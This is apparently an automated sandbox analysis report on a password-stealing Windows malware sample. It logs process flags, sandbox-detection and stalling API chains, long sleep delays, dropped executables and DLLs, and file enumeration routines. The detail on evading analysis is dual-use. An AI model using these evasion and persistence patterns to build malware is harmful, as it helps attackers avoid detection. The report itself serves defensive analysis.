Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Sandbox detection routine: GetCursorPos, DecisionNode, Sleep			graph_2-109123

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_2-109124

Found stalling execution ending in API Sleep call

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-112239

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

2_2_0047BB80

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Window / User API: threadDelayed 380	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Window / User API: threadDelayed 4430
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Window / User API: threadDelayed 1889
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Window / User API: threadDelayed 1909

Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\autorun[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000397001\autorun.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-109493

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

API coverage: 3.2 %

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe TID: 5072	Thread sleep count: 380 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe TID: 4552	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe TID: 2156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5824	Thread sleep count: 75 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7044	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7044	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 5340	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 5688	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 5340	Thread sleep count: 4430 > 30
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 5340	Thread sleep time: -4430000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 8484	Thread sleep count: 1889 > 30
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 8484	Thread sleep time: -1889000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 8512	Thread sleep count: 1909 > 30
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 8512	Thread sleep time: -1909000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 10016	Thread sleep count: 242 > 30
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 10016	Thread sleep time: -7260000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 8044	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 5340	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe TID: 5340	Thread sleep time: -83000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004ADFC0 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 004AE001h

2_2_004ADFC0

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00412090 CreateDirectoryA,FindFirstFileA,GetLastError,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,SHGetFolderPathA,GetFileAttributesA,GetLastError,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,__Mtx_unlock,	2_2_00412090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F9505 FindClose,FindFirstFileExW,GetLastError,	2_2_004F9505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044CAA0 SHGetFolderPathA,GetFileAttributesA,GetLastError,GetLastError,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CopyFileA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,CopyFileA,CopyFileA,__Mtx_unlock,__Mtx_unlock,	2_2_0044CAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC90 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,__Mtx_unlock,	2_2_0040DC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044F3A0 FindFirstFileA,	2_2_0044F3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F958B GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_004F958B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00518980 FindFirstFileExW,	2_2_00518980
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0064C2A2 FindFirstFileExW,	16_2_0064C2A2
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_006868EE FindFirstFileW,FindClose,	16_2_006868EE
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0068698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	16_2_0068698F
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0067D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_0067D076
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0067D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_0067D3A9
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00689642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_00689642
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0068979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_0068979D
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00689B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	16_2_00689B2B
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0067DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	16_2_0067DBBE
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00685C97 FindFirstFileW,FindNextFileW,FindClose,	16_2_00685C97

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_0040FCB0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
